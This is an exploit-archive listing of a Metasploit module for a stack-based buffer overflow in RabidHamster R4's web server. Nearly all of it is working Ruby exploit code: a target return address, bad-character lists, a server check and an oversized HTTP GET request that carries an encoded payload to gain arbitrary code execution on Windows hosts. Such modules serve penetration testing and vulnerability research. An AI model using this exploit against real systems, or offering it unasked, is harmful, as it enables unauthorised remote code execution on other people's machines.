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RabidHamster R4 Log Entry sprintf() Buffer Overflow

RabidHamster R4 Log Entry sprintf() Buffer Overflow
Posted May 25, 2012
Authored by Luigi Auriemma, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in RabidHamster R4's web server. By supplying a malformed HTTP request, it is possible to trigger a stack-based buffer overflow when generating a log, which may result in arbitrary code execution under the context of the user.

tags | exploit, web, overflow, arbitrary, code execution
advisories | OSVDB-79007
MD5 | d5c7b728cc34e438d56471e6fbda49bd

RabidHamster R4 Log Entry sprintf() Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in RabidHamster R4's web server.
By supplying a malformed HTTP request, it is possible to trigger a stack-based
buffer overflow when generating a log, which may result in arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79007'],
['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
['URL', 'http://secunia.com/advisories/47901/']
],
'Payload' =>
{
'StackAdjustment' => -3500,
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
},
'DefaultOptions' =>
{
'ExitFunction' => "process"
},
'Platform' => 'win',
'Targets' =>
[
['R4 v1.25', {'Ret'=>0x73790533}] #JMP ESI (ddraw.dll)
],
'Privileged' => false,
'DisclosureDate' => "Feb 09 2012",
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 8888])
], self.class)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/'
})

if res and res.headers['Server'] == 'R4 Embedded Server'
return Exploit::CheckCode::Detected
else
return Exploit::CheckCoded::Safe
end
end

def exploit
buf = ''
buf << payload.encoded
buf << rand_text_alpha(2022-buf.length, payload_badchars)
buf << [target.ret].pack("V*")
buf << pattern_create(200)
buf << rand_text_alpha(3000-buf.length, payload_badchars)

send_request_cgi({
'method' => 'GET',
'uri' => "/?#{buf}"
})
end
end

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